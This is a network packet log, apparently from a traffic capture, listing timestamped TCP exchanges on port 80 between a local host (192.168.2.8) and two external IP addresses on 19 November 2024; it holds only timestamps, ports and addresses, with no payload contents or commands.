Nov 19, 2024 18:02:05.401370049 CET	62702	80	192.168.2.8	185.215.113.43
Nov 19, 2024 18:02:06.905786037 CET	62702	80	192.168.2.8	185.215.113.43
Nov 19, 2024 18:02:06.906157017 CET	62703	80	192.168.2.8	185.215.113.43
Nov 19, 2024 18:02:06.911061049 CET	80	62702	185.215.113.43	192.168.2.8
Nov 19, 2024 18:02:06.911133051 CET	80	62703	185.215.113.43	192.168.2.8
Nov 19, 2024 18:02:06.911139965 CET	62702	80	192.168.2.8	185.215.113.43
Nov 19, 2024 18:02:06.911215067 CET	62703	80	192.168.2.8	185.215.113.43
Nov 19, 2024 18:02:06.911350965 CET	62703	80	192.168.2.8	185.215.113.43
Nov 19, 2024 18:02:06.916273117 CET	80	62703	185.215.113.43	192.168.2.8
Nov 19, 2024 18:02:07.633419991 CET	80	62703	185.215.113.43	192.168.2.8
Nov 19, 2024 18:02:07.633538008 CET	62703	80	192.168.2.8	185.215.113.43
Nov 19, 2024 18:02:07.637226105 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:07.642055035 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:07.642144918 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:07.642349958 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:07.647424936 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.350914955 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.350946903 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.350963116 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.350977898 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.350992918 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.351006031 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.351007938 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.351023912 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.351036072 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.351064920 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.351075888 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.351140022 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.351152897 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.351155996 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.351180077 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.351198912 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.355798006 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.355827093 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.355844021 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.355866909 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.355995893 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.356048107 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.356071949 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.356110096 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.479033947 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479058981 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479074955 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479089022 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479103088 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479116917 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479131937 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479147911 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479167938 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.479212046 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479228020 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479237080 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.479243040 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479290962 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.479592085 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479607105 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479621887 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479628086 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.479638100 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479639053 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.479654074 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.479690075 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.479701042 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.480290890 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.480345011 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.480349064 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.480360985 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.480390072 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.480391979 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.480405092 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.480407953 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.480424881 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.480442047 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.480468035 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.481232882 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.481283903 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.481302023 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.481345892 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.484010935 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.484061003 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.484066010 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.484100103 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.609039068 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.609062910 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.609114885 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.609143972 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.609510899 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.609525919 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.609540939 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.609563112 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.609591007 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.609641075 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.609656096 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.609672070 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.609685898 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.609692097 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.609702110 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.609716892 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.609724998 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.609734058 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.609755993 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.609775066 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.610263109 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.610279083 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.610292912 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.610444069 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612458944 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612474918 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612488985 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612504005 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612521887 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612531900 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612565041 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612607956 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612628937 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612643957 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612658024 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612663031 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612672091 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612673044 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612688065 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612692118 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612704039 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612718105 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612724066 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612741947 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612771034 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612783909 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612808943 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612823009 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612824917 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612838030 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612844944 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612855911 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612867117 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612873077 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612883091 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612889051 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612903118 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612907887 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.612922907 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612931967 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.612953901 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.613115072 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.613132954 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.613147020 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.613161087 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.613177061 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.613179922 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.613192081 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.613192081 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.613210917 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.613221884 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.613224983 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.613240957 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.613248110 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.613259077 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.613269091 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.613291025 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.613302946 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.615051985 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.615068913 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.615083933 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.615111113 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.615129948 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.615155935 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.615170956 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.615185976 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.615196943 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.615200996 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.615221977 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.615245104 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.615329981 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.615382910 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.734210968 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734235048 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734260082 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734276056 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734291077 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734307051 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734379053 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734385967 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.734394073 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734410048 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.734411955 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734457016 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734461069 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.734504938 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.734507084 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734522104 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734535933 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734556913 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.734571934 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.734586000 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.734729052 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734744072 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734757900 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734781027 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.734796047 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.734810114 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734826088 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734843016 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734853029 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.734858036 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.734878063 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.734891891 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735033035 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735048056 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735061884 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735079050 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735109091 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735177040 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735191107 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735205889 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735227108 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735249043 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735296965 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735343933 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735352993 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735363007 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735378027 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735393047 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735400915 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735419989 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735526085 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735551119 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735565901 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735572100 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735589027 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735610962 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735624075 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735639095 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735671043 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735678911 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735790968 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735837936 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735840082 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735853910 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735877991 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735887051 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.735955954 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.735991955 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736000061 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736007929 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736032009 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736038923 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736047983 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736053944 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736076117 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736083031 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736233950 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736282110 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736285925 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736303091 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736326933 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736349106 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736368895 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736383915 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736398935 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736413002 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736433983 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736593008 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736639977 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736650944 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736665964 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736700058 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736707926 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736710072 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736725092 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736738920 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736753941 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736754894 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736769915 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736776114 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736787081 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.736804008 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.736826897 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.739717007 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739741087 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739756107 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739768982 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739769936 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.739785910 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739794016 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.739800930 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739815950 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739824057 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.739833117 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739840031 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.739849091 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739864111 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739869118 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.739881039 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739883900 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.739896059 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739907980 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.739912987 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739928007 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739942074 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739947081 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.739959002 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.739969015 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.739979982 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740011930 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740187883 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.740204096 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.740219116 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.740231037 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740255117 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740262032 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740318060 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.740366936 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740371943 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.740387917 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.740411997 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740428925 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740449905 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.740494967 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740529060 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.740544081 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.740556955 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.740571022 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740580082 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740580082 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.740596056 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.740602970 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740612030 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.740612984 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740628004 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.740634918 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740643024 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.740645885 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740668058 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.740684032 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.741127014 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.741180897 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.741182089 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.741216898 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.821242094 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.821296930 CET	80	62704	31.41.244.11	192.168.2.8
